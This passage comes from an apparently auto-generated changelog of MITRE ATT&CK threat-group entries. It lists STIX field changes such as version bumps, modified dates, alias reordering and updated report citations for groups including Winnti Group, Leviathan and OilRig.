| external_references[12]['url'] | https://www.secureworks.com/research/threat-profiles/bronze-huntley | https://blog.talosintelligence.com/2020/03/bisonal-10-years-of-play.html |
| external_references[13]['source_name'] | CrowdStrike Manufacturing Threat July 2020 | TrendMicro Tonto Team October 2020 |
| external_references[13]['description'] | Falcon OverWatch Team. (2020, July 14). Manufacturing Industry in the Adversaries’ Crosshairs. Retrieved October 17, 2021. | Daniel Lughi, Jaromir Horejsi. (2020, October 2). Tonto Team - Exploring the TTPs of an advanced threat actor operating a large infrastructure. Retrieved October 17, 2021. |
| external_references[13]['url'] | https://www.crowdstrike.com/blog/adversaries-targeting-the-manufacturing-industry/ | https://vb2020.vblocalhost.com/uploads/VB2020-06.pdf |
| x_mitre_version | 1.0 | 1.1 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| external_references | | {'source_name': 'Secureworks BRONZE HUNTLEY ', 'description': 'Secureworks. (2021, January 1). BRONZE HUNTLEY Threat Profile. Retrieved May 5, 2021.', 'url': 'https://www.secureworks.com/research/threat-profiles/bronze-huntley'} |
| external_references | | {'source_name': 'CrowdStrike Manufacturing Threat July 2020', 'description': 'Falcon OverWatch Team. (2020, July 14). Manufacturing Industry in the Adversaries’ Crosshairs. Retrieved October 17, 2021.', 'url': 'https://www.crowdstrike.com/blog/adversaries-targeting-the-manufacturing-industry/'} |
[G0123] Volatile Cedar
Current version: 1.1
Version changed from: 1.0 → 1.1
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-02-10 21:01:16.908000+00:00 | 2022-04-20 20:08:15.870000+00:00 |
| external_references[3]['source_name'] | CheckPoint Volatile Cedar March 2015 | ClearSky Lebanese Cedar Jan 2021 |
| external_references[3]['description'] | Threat Intelligence and Research. (2015, March 30). VOLATILE CEDAR. Retrieved February 8, 2021. | ClearSky Cyber Security. (2021, January). “Lebanese Cedar” APT Global Lebanese Espionage Campaign Leveraging Web Servers. Retrieved February 10, 2021. |
| external_references[3]['url'] | https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2015/03/20082004/volatile-cedar-technical-report.pdf | https://www.clearskysec.com/wp-content/uploads/2021/01/Lebanese-Cedar-APT.pdf |
| external_references[4]['source_name'] | ClearSky Lebanese Cedar Jan 2021 | CheckPoint Volatile Cedar March 2015 |
| external_references[4]['description'] | ClearSky Cyber Security. (2021, January). “Lebanese Cedar” APT Global Lebanese Espionage Campaign Leveraging Web Servers. Retrieved February 10, 2021. | Threat Intelligence and Research. (2015, March 30). VOLATILE CEDAR. Retrieved February 8, 2021. |
| external_references[4]['url'] | https://www.clearskysec.com/wp-content/uploads/2021/01/Lebanese-Cedar-APT.pdf | https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2015/03/20082004/volatile-cedar-technical-report.pdf |
| x_mitre_version | 1.0 | 1.1 |
[G0044] Winnti Group
Current version: 1.2
Version changed from: 1.1 → 1.2
|
|
|---|
| t | [Winnti Group](https://attack.mitre.org/groups/G0044) is a t | t | [Winnti Group](https://attack.mitre.org/groups/G0044) is a t |
| hreat group with Chinese origins that has been active since | | hreat group with Chinese origins that has been active since |
| at least 2010. The group has heavily targeted the gaming ind | | at least 2010. The group has heavily targeted the gaming ind |
| ustry, but it has also expanded the scope of its targeting. | | ustry, but it has also expanded the scope of its targeting.( |
| (Citation: Kaspersky Winnti April 2013) (Citation: Kaspersky | | Citation: Kaspersky Winnti April 2013)(Citation: Kaspersky W |
| Winnti June 2015) (Citation: Novetta Winnti April 2015) Som | | innti June 2015)(Citation: Novetta Winnti April 2015) Some r |
| e reporting suggests a number of other groups, including [Ax | | eporting suggests a number of other groups, including [Axiom |
| iom](https://attack.mitre.org/groups/G0001), [APT17](https:/ | | ](https://attack.mitre.org/groups/G0001), [APT17](https://at |
| /attack.mitre.org/groups/G0025), and [Ke3chang](https://atta | | tack.mitre.org/groups/G0025), and [Ke3chang](https://attack. |
| ck.mitre.org/groups/G0004), are closely linked to [Winnti Gr | | mitre.org/groups/G0004), are closely linked to [Winnti Group |
| oup](https://attack.mitre.org/groups/G0044). (Citation: 401 | | ](https://attack.mitre.org/groups/G0044).(Citation: 401 TRG |
| TRG Winnti Umbrella May 2018) | | Winnti Umbrella May 2018) |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-11-05 15:59:50.451000+00:00 | 2022-04-15 16:27:20.897000+00:00 |
| description | [Winnti Group](https://attack.mitre.org/groups/G0044) is a threat group with Chinese origins that has been active since at least 2010. The group has heavily targeted the gaming industry, but it has also expanded the scope of its targeting. (Citation: Kaspersky Winnti April 2013) (Citation: Kaspersky Winnti June 2015) (Citation: Novetta Winnti April 2015) Some reporting suggests a number of other groups, including [Axiom](https://attack.mitre.org/groups/G0001), [APT17](https://attack.mitre.org/groups/G0025), and [Ke3chang](https://attack.mitre.org/groups/G0004), are closely linked to [Winnti Group](https://attack.mitre.org/groups/G0044). (Citation: 401 TRG Winnti Umbrella May 2018) | [Winnti Group](https://attack.mitre.org/groups/G0044) is a threat group with Chinese origins that has been active since at least 2010. The group has heavily targeted the gaming industry, but it has also expanded the scope of its targeting.(Citation: Kaspersky Winnti April 2013)(Citation: Kaspersky Winnti June 2015)(Citation: Novetta Winnti April 2015) Some reporting suggests a number of other groups, including [Axiom](https://attack.mitre.org/groups/G0001), [APT17](https://attack.mitre.org/groups/G0025), and [Ke3chang](https://attack.mitre.org/groups/G0004), are closely linked to [Winnti Group](https://attack.mitre.org/groups/G0044).(Citation: 401 TRG Winnti Umbrella May 2018) |
| external_references[3]['source_name'] | Kaspersky Winnti April 2013 | Symantec Suckfly March 2016 |
| external_references[3]['description'] | Kaspersky Lab's Global Research and Analysis Team. (2013, April 11). Winnti. More than just a game. Retrieved February 8, 2017. | DiMaggio, J. (2016, March 15). Suckfly: Revealing the secret life of your code signing certificates. Retrieved August 3, 2016. |
| external_references[3]['url'] | https://securelist.com/winnti-more-than-just-a-game/37029/ | http://www.symantec.com/connect/blogs/suckfly-revealing-secret-life-your-code-signing-certificates |
| external_references[4]['source_name'] | Kaspersky Winnti June 2015 | 401 TRG Winnti Umbrella May 2018 |
| external_references[4]['description'] | Tarakanov, D. (2015, June 22). Games are over: Winnti is now targeting pharmaceutical companies. Retrieved January 14, 2016. | Hegel, T. (2018, May 3). Burning Umbrella: An Intelligence Report on the Winnti Umbrella and Associated State-Sponsored Attackers. Retrieved July 8, 2018. |
| external_references[4]['url'] | https://securelist.com/games-are-over/70991/ | https://401trg.github.io/pages/burning-umbrella.html |
| external_references[5]['source_name'] | Novetta Winnti April 2015 | Kaspersky Winnti April 2013 |
| external_references[5]['description'] | Novetta Threat Research Group. (2015, April 7). Winnti Analysis. Retrieved February 8, 2017. | Kaspersky Lab's Global Research and Analysis Team. (2013, April 11). Winnti. More than just a game. Retrieved February 8, 2017. |
| external_references[5]['url'] | http://www.novetta.com/wp-content/uploads/2015/04/novetta_winntianalysis.pdf | https://securelist.com/winnti-more-than-just-a-game/37029/ |
| external_references[6]['source_name'] | 401 TRG Winnti Umbrella May 2018 | Novetta Winnti April 2015 |
| external_references[6]['description'] | Hegel, T. (2018, May 3). Burning Umbrella: An Intelligence Report on the Winnti Umbrella and Associated State-Sponsored Attackers. Retrieved July 8, 2018. | Novetta Threat Research Group. (2015, April 7). Winnti Analysis. Retrieved February 8, 2017. |
| external_references[6]['url'] | https://401trg.github.io/pages/burning-umbrella.html | http://www.novetta.com/wp-content/uploads/2015/04/novetta_winntianalysis.pdf |
| external_references[7]['source_name'] | Symantec Suckfly March 2016 | Kaspersky Winnti June 2015 |
| external_references[7]['description'] | DiMaggio, J.. (2016, March 15). Suckfly: Revealing the secret life of your code signing certificates. Retrieved August 3, 2016. | Tarakanov, D. (2015, June 22). Games are over: Winnti is now targeting pharmaceutical companies. Retrieved January 14, 2016. |
| external_references[7]['url'] | http://www.symantec.com/connect/blogs/suckfly-revealing-secret-life-your-code-signing-certificates | https://securelist.com/games-are-over/70991/ |
| x_mitre_version | 1.1 | 1.2 |
Patches
[G0082] APT38
Current version: 2.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-15 16:33:27.982000+00:00 | 2022-01-18 17:13:14.610000+00:00 |
[G0130] Ajax Security Team
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-04-22 20:13:14.377000+00:00 | 2021-12-17 19:27:27.246000+00:00 |
| external_references[1]['description'] | Analysis of infrastructure, tools, and modes of operation revealed a potential relationship between Ajax Security Team and the campaign Operation Woolen-Goldfish.(Citation: Check Point Rocket Kitten)(Citation: TrendMicro Operation Woolen Goldfish March 2015) | Analysis of infrastructure, tools, and modes of operation revealed a potential relationship between [Ajax Security Team](https://attack.mitre.org/groups/G0130) and the campaign Operation Woolen-Goldfish.(Citation: Check Point Rocket Kitten)(Citation: TrendMicro Operation Woolen Goldfish March 2015) |
| external_references[3]['description'] | Analysis of infrastructure, tools, and modes of operation revealed a potential relationship between Ajax Security Team and Rocket Kitten.(Citation: Check Point Rocket Kitten)(Citation: IranThreats Kittens Dec 2017) | Analysis of infrastructure, tools, and modes of operation revealed a potential relationship between [Ajax Security Team](https://attack.mitre.org/groups/G0130) and Rocket Kitten.(Citation: Check Point Rocket Kitten)(Citation: IranThreats Kittens Dec 2017) |
| external_references[6]['url'] | https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-operation-saffron-rose.pdf | https://www.mandiant.com/resources/operation-saffron-rose |
[G0114] Chimera
Current version: 2.1
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-12 21:53:00.909000+00:00 | 2022-03-25 19:35:55.074000+00:00 |
[G0031] Dust Storm
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2019-03-22 20:14:29.575000+00:00 | 2022-01-19 18:25:05.148000+00:00 |
| external_references[2]['description'] | Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017. | Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021. |
| external_references[2]['url'] | https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf | https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf |
[G0065] Leviathan
Current version: 3.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| external_references | | https://www.accenture.com/us-en/blogs/cyber-defense/mudcarps-focus-on-submarine-technologies |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| external_references | https://www.crowdstrike.com/blog/two-birds-one-stone-panda/ | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-14 20:34:57.289000+00:00 | 2022-04-15 15:15:51.198000+00:00 |
| external_references[1]['source_name'] | Leviathan | MUDCARP |
| external_references[1]['description'] | (Citation: Proofpoint Leviathan Oct 2017) | (Citation: CISA AA21-200A APT40 July 2021)(Citation: Accenture MUDCARP March 2019) |
| external_references[2]['source_name'] | MUDCARP | Kryptonite Panda |
| external_references[2]['description'] | (Citation: CISA AA21-200A APT40 July 2021)(Citation: Accenture MUDCARP March 2019) | (Citation: CISA AA21-200A APT40 July 2021)(Citation: Crowdstrike KRYPTONITE PANDA August 2018) |
| external_references[3]['source_name'] | Kryptonite Panda | Gadolinium |
| external_references[3]['description'] | (Citation: CISA AA21-200A APT40 July 2021)(Citation: Crowdstrike KRYPTONITE PANDA August 2018) | (Citation: CISA AA21-200A APT40 July 2021)(Citation: MSTIC GADOLINIUM September 2020) |
| external_references[4]['source_name'] | Gadolinium | BRONZE MOHAWK |
| external_references[4]['description'] | (Citation: CISA AA21-200A APT40 July 2021)(Citation: MSTIC GADOLINIUM September 2020) | (Citation: CISA AA21-200A APT40 July 2021)(Citation: SecureWorks BRONZE MOHAWK n.d.) |
| external_references[5]['source_name'] | BRONZE MOHAWK | Leviathan |
| external_references[5]['description'] | (Citation: CISA AA21-200A APT40 July 2021)(Citation: SecureWorks BRONZE MOHAWK n.d.) | (Citation: Proofpoint Leviathan Oct 2017) |
| external_references[6]['description'] | Leviathan was previously reported upon by FireEye as TEMP.Periscope and TEMP.Jumper.(Citation: CISA AA21-200A APT40 July 2021)(Citation: FireEye APT40 March 2019) | [Leviathan](https://attack.mitre.org/groups/G0065) was previously reported upon by FireEye as TEMP.Periscope and TEMP.Jumper.(Citation: CISA AA21-200A APT40 July 2021)(Citation: FireEye APT40 March 2019) |
| external_references[7]['source_name'] | APT40 | TEMP.Periscope |
| external_references[7]['description'] | FireEye reporting on TEMP.Periscope (which was combined into APT40) indicated TEMP.Periscope was reported upon as Leviathan.(Citation: CISA AA21-200A APT40 July 2021)(Citation: Proofpoint Leviathan Oct 2017)(Citation: FireEye Periscope March 2018)(Citation: FireEye APT40 March 2019) | [Leviathan](https://attack.mitre.org/groups/G0065) was previously reported upon by FireEye as TEMP.Periscope and TEMP.Jumper.(Citation: CISA AA21-200A APT40 July 2021)(Citation: FireEye Periscope March 2018)(Citation: FireEye APT40 March 2019) |
| external_references[8]['source_name'] | TEMP.Periscope | Accenture MUDCARP March 2019 |
| external_references[8]['description'] | Leviathan was previously reported upon by FireEye as TEMP.Periscope and TEMP.Jumper.(Citation: CISA AA21-200A APT40 July 2021)(Citation: FireEye Periscope March 2018)(Citation: FireEye APT40 March 2019) | Accenture iDefense Unit. (2019, March 5). Mudcarp's Focus on Submarine Technologies. Retrieved August 24, 2021. |
| external_references[9]['source_name'] | CISA AA21-200A APT40 July 2021 | Crowdstrike KRYPTONITE PANDA August 2018 |
| external_references[9]['description'] | CISA. (2021, July 19). (AA21-200A) Joint Cybersecurity Advisory – Tactics, Techniques, and Procedures of Indicted APT40 Actors Associated with China’s MSS Hainan State Security Department.. Retrieved August 12, 2021. | Adam Kozy. (2018, August 30). Two Birds, One Stone Panda. Retrieved August 24, 2021. |
| external_references[9]['url'] | https://us-cert.cisa.gov/ncas/alerts/aa21-200a | https://www.crowdstrike.com/blog/two-birds-one-stone-panda/ |
| external_references[11]['source_name'] | FireEye Periscope March 2018 | MSTIC GADOLINIUM September 2020 |
| external_references[11]['description'] | FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018. | Ben Koehl, Joe Hannon. (2020, September 24). Microsoft Security - Detecting Empires in the Cloud. Retrieved August 24, 2021. |
| external_references[11]['url'] | https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html | https://www.microsoft.com/security/blog/2020/09/24/gadolinium-detecting-empires-cloud/ |
| external_references[12]['source_name'] | Accenture MUDCARP March 2019 | CISA AA21-200A APT40 July 2021 |
| external_references[12]['description'] | Accenture iDefense Unit. (2019, March 5). Mudcarp's Focus on Submarine Technologies. Retrieved August 24, 2021. | CISA. (2021, July 19). (AA21-200A) Joint Cybersecurity Advisory – Tactics, Techniques, and Procedures of Indicted APT40 Actors Associated with China’s MSS Hainan State Security Department. Retrieved August 12, 2021. |
| external_references[12]['url'] | https://www.accenture.com/us-en/blogs/cyber-defense/mudcarps-focus-on-submarine-technologies | https://us-cert.cisa.gov/ncas/alerts/aa21-200a |
| external_references[13]['source_name'] | Crowdstrike KRYPTONITE PANDA August 2018 | APT40 |
| external_references[13]['description'] | Adam Kozy. (2018, August 30). Two Birds, One Stone Panda. Retrieved August 24, 2021. | FireEye reporting on TEMP.Periscope (which was combined into APT40) indicated TEMP.Periscope was reported upon as Leviathan.(Citation: CISA AA21-200A APT40 July 2021)(Citation: Proofpoint Leviathan Oct 2017)(Citation: FireEye Periscope March 2018)(Citation: FireEye APT40 March 2019) |
| external_references[14]['source_name'] | MSTIC GADOLINIUM September 2020 | FireEye Periscope March 2018 |
| external_references[14]['description'] | Ben Koehl, Joe Hannon. (2020, September 24). Microsoft Security - Detecting Empires in the Cloud. Retrieved August 24, 2021. | FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018. |
| external_references[14]['url'] | https://www.microsoft.com/security/blog/2020/09/24/gadolinium-detecting-empires-cloud/ | https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html |
| external_references[15]['source_name'] | SecureWorks BRONZE MOHAWK n.d. | FireEye APT40 March 2019 |
| external_references[15]['description'] | SecureWorks. (n.d.). Threat Profile - BRONZE MOHAWK. Retrieved August 24, 2021. | Plan, F., et al. (2019, March 4). APT40: Examining a China-Nexus Espionage Actor. Retrieved March 18, 2019. |
| external_references[15]['url'] | https://www.secureworks.com/research/threat-profiles/bronze-mohawk | https://www.fireeye.com/blog/threat-research/2019/03/apt40-examining-a-china-nexus-espionage-actor.html |
| external_references[16]['source_name'] | FireEye APT40 March 2019 | SecureWorks BRONZE MOHAWK n.d. |
| external_references[16]['description'] | Plan, F., et al. (2019, March 4). APT40: Examining a China-Nexus Espionage Actor. Retrieved March 18, 2019. | SecureWorks. (n.d.). Threat Profile - BRONZE MOHAWK. Retrieved August 24, 2021. |
| external_references[16]['url'] | https://www.fireeye.com/blog/threat-research/2019/03/apt40-examining-a-china-nexus-espionage-actor.html | https://www.secureworks.com/research/threat-profiles/bronze-mohawk |
[G0049] OilRig
Current version: 3.0
|
|
|---|
| t | [OilRig](https://attack.mitre.org/groups/G0049) is a suspect | t | [OilRig](https://attack.mitre.org/groups/G0049) is a suspect |
| ed Iranian threat group that has targeted Middle Eastern and | | ed Iranian threat group that has targeted Middle Eastern and |
| international victims since at least 2014. The group has ta | | international victims since at least 2014. The group has ta |
| rgeted a variety of sectors, including financial, government | | rgeted a variety of sectors, including financial, government |
| , energy, chemical, and telecommunications. It appears the g | | , energy, chemical, and telecommunications. It appears the g |
| roup carries out supply chain attacks, leveraging the trust | | roup carries out supply chain attacks, leveraging the trust |
| relationship between organizations to attack their primary t | | relationship between organizations to attack their primary t |
| argets. FireEye assesses that the group works on behalf of t | | argets. FireEye assesses that the group works on behalf of t |
| he Iranian government based on infrastructure details that c | | he Iranian government based on infrastructure details that c |
| ontain references to Iran, use of Iranian infrastructure, an | | ontain references to Iran, use of Iranian infrastructure, an |
| d targeting that aligns with nation-state interests. (Citati | | d targeting that aligns with nation-state interests.(Citatio |
| on: Palo Alto OilRig April 2017) (Citation: ClearSky OilRig | | n: Palo Alto OilRig April 2017)(Citation: ClearSky OilRig Ja |
| Jan 2017) (Citation: Palo Alto OilRig May 2016) (Citation: P | | n 2017)(Citation: Palo Alto OilRig May 2016)(Citation: Palo |
| alo Alto OilRig Oct 2016) (Citation: Unit 42 Playbook Dec 20 | | Alto OilRig Oct 2016)(Citation: Unit 42 Playbook Dec 2017)(C |
| 17) (Citation: FireEye APT34 Dec 2017)(Citation: Unit 42 QUA | | itation: FireEye APT34 Dec 2017)(Citation: Unit 42 QUADAGENT |
| DAGENT July 2018) | | July 2018) |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| external_references | | https://research.checkpoint.com/2021/irans-apt34-returns-with-an-updated-arsenal/ |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| external_references | https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-november-helix-kitten/ | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-15 22:04:08.941000+00:00 | 2022-04-21 15:54:58.494000+00:00 |
| description | [OilRig](https://attack.mitre.org/groups/G0049) is a suspected Iranian threat group that has targeted Middle Eastern and international victims since at least 2014. The group has targeted a variety of sectors, including financial, government, energy, chemical, and telecommunications. It appears the group carries out supply chain attacks, leveraging the trust relationship between organizations to attack their primary targets. FireEye assesses that the group works on behalf of the Iranian government based on infrastructure details that contain references to Iran, use of Iranian infrastructure, and targeting that aligns with nation-state interests. (Citation: Palo Alto OilRig April 2017) (Citation: ClearSky OilRig Jan 2017) (Citation: Palo Alto OilRig May 2016) (Citation: Palo Alto OilRig Oct 2016) (Citation: Unit 42 Playbook Dec 2017) (Citation: FireEye APT34 Dec 2017)(Citation: Unit 42 QUADAGENT July 2018) | [OilRig](https://attack.mitre.org/groups/G0049) is a suspected Iranian threat group that has targeted Middle Eastern and international victims since at least 2014. The group has targeted a variety of sectors, including financial, government, energy, chemical, and telecommunications. It appears the group carries out supply chain attacks, leveraging the trust relationship between organizations to attack their primary targets. FireEye assesses that the group works on behalf of the Iranian government based on infrastructure details that contain references to Iran, use of Iranian infrastructure, and targeting that aligns with nation-state interests.(Citation: Palo Alto OilRig April 2017)(Citation: ClearSky OilRig Jan 2017)(Citation: Palo Alto OilRig May 2016)(Citation: Palo Alto OilRig Oct 2016)(Citation: Unit 42 Playbook Dec 2017)(Citation: FireEye APT34 Dec 2017)(Citation: Unit 42 QUADAGENT July 2018) |
| external_references[1]['source_name'] | OilRig | IRN2 |
| external_references[1]['description'] | (Citation: Palo Alto OilRig April 2017) (Citation: ClearSky OilRig Jan 2017) (Citation: Palo Alto OilRig May 2016) (Citation: Palo Alto OilRig Oct 2016) (Citation: Unit 42 Playbook Dec 2017) (Citation: Unit 42 QUADAGENT July 2018) | (Citation: Crowdstrike Helix Kitten Nov 2018) |
| external_references[2]['source_name'] | COBALT GYPSY | OilRig |
| external_references[2]['description'] | (Citation: Secureworks COBALT GYPSY Threat Profile) | (Citation: Palo Alto OilRig April 2017) (Citation: ClearSky OilRig Jan 2017) (Citation: Palo Alto OilRig May 2016) (Citation: Palo Alto OilRig Oct 2016) (Citation: Unit 42 Playbook Dec 2017) (Citation: Unit 42 QUADAGENT July 2018) |
| external_references[3]['source_name'] | IRN2 | COBALT GYPSY |
| external_references[3]['description'] | (Citation: Crowdstrike Helix Kitten Nov 2018) | (Citation: Secureworks COBALT GYPSY Threat Profile) |
| external_references[5]['source_name'] | APT34 | Check Point APT34 April 2021 |
| external_references[5]['description'] | This group was previously tracked under two distinct groups, APT34 and OilRig, but was combined due to additional reporting giving higher confidence about the overlap of the activity. (Citation: Unit 42 QUADAGENT July 2018) (Citation: FireEye APT34 Dec 2017)(Citation: Check Point APT34 April 2021) | Check Point. (2021, April 8). Iran’s APT34 Returns with an Updated Arsenal. Retrieved May 5, 2021. |
| external_references[6]['source_name'] | Palo Alto OilRig April 2017 | ClearSky OilRig Jan 2017 |
| external_references[6]['description'] | Falcone, R.. (2017, April 27). OilRig Actors Provide a Glimpse into Development and Testing Efforts. Retrieved May 3, 2017. | ClearSky Cybersecurity. (2017, January 5). Iranian Threat Agent OilRig Delivers Digitally Signed Malware, Impersonates University of Oxford. Retrieved May 3, 2017. |
| external_references[6]['url'] | http://researchcenter.paloaltonetworks.com/2017/04/unit42-oilrig-actors-provide-glimpse-development-testing-efforts/ | http://www.clearskysec.com/oilrig/ |
| external_references[7]['source_name'] | ClearSky OilRig Jan 2017 | Palo Alto OilRig May 2016 |
| external_references[7]['description'] | ClearSky Cybersecurity. (2017, January 5). Iranian Threat Agent OilRig Delivers Digitally Signed Malware, Impersonates University of Oxford. Retrieved May 3, 2017. | Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017. |
| external_references[7]['url'] | http://www.clearskysec.com/oilrig/ | http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/ |
| external_references[8]['source_name'] | Palo Alto OilRig May 2016 | Palo Alto OilRig April 2017 |
| external_references[8]['description'] | Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017. | Falcone, R.. (2017, April 27). OilRig Actors Provide a Glimpse into Development and Testing Efforts. Retrieved May 3, 2017. |
| external_references[8]['url'] | http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/ | http://researchcenter.paloaltonetworks.com/2017/04/unit42-oilrig-actors-provide-glimpse-development-testing-efforts/ |
| external_references[10]['source_name'] | Unit 42 Playbook Dec 2017 | Unit 42 QUADAGENT July 2018 |
| external_references[10]['description'] | Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017. | Lee, B., Falcone, R. (2018, July 25). OilRig Targets Technology Service Provider and Government Agency with QUADAGENT. Retrieved August 9, 2018. |
| external_references[10]['url'] | https://pan-unit42.github.io/playbook_viewer/ | https://researchcenter.paloaltonetworks.com/2018/07/unit42-oilrig-targets-technology-service-provider-government-agency-quadagent/ |
| external_references[11]['source_name'] | FireEye APT34 Dec 2017 | Crowdstrike Helix Kitten Nov 2018 |
| external_references[11]['description'] | Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017. | Meyers, A. (2018, November 27). Meet CrowdStrike’s Adversary of the Month for November: HELIX KITTEN. Retrieved December 18, 2018. |
| external_references[11]['url'] | https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html | https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-november-helix-kitten/ |
| external_references[12]['source_name'] | Unit 42 QUADAGENT July 2018 | FireEye APT34 Dec 2017 |
| external_references[12]['description'] | Lee, B., Falcone, R. (2018, July 25). OilRig Targets Technology Service Provider and Government Agency with QUADAGENT. Retrieved August 9, 2018. | Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017. |
| external_references[12]['url'] | https://researchcenter.paloaltonetworks.com/2018/07/unit42-oilrig-targets-technology-service-provider-government-agency-quadagent/ | https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html |
| external_references[14]['source_name'] | Crowdstrike Helix Kitten Nov 2018 | APT34 |
| external_references[14]['description'] | Meyers, A. (2018, November 27). Meet CrowdStrike’s Adversary of the Month for November: HELIX KITTEN. Retrieved December 18, 2018. | This group was previously tracked under two distinct groups, APT34 and OilRig, but was combined due to additional reporting giving higher confidence about the overlap of the activity. (Citation: Unit 42 QUADAGENT July 2018) (Citation: FireEye APT34 Dec 2017)(Citation: Check Point APT34 April 2021) |
| external_references[15]['source_name'] | Check Point APT34 April 2021 | Unit 42 Playbook Dec 2017 |
| external_references[15]['description'] | Check Point. (2021, April 8). Iran’s APT34 Returns with an Updated Arsenal. Retrieved May 5, 2021. | Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017. |
| external_references[15]['url'] | https://research.checkpoint.com/2021/irans-apt34-returns-with-an-updated-arsenal/ | https://pan-unit42.github.io/playbook_viewer/ |
[G0116] Operation Wocao
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-04-20 00:14:14.838000+00:00 | 2022-03-25 13:18:53.793000+00:00 |
| external_references[2]['url'] | https://resources.fox-it.com/rs/170-CAK-271/images/201912_Report_Operation_Wocao.pdf | https://www.fox-it.com/media/kadlze5c/201912_report_operation_wocao.pdf |
[G0039] Suckfly
Current version: 1.1
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2020-03-30 19:21:39.854000+00:00 | 2022-04-15 16:27:38.682000+00:00 |
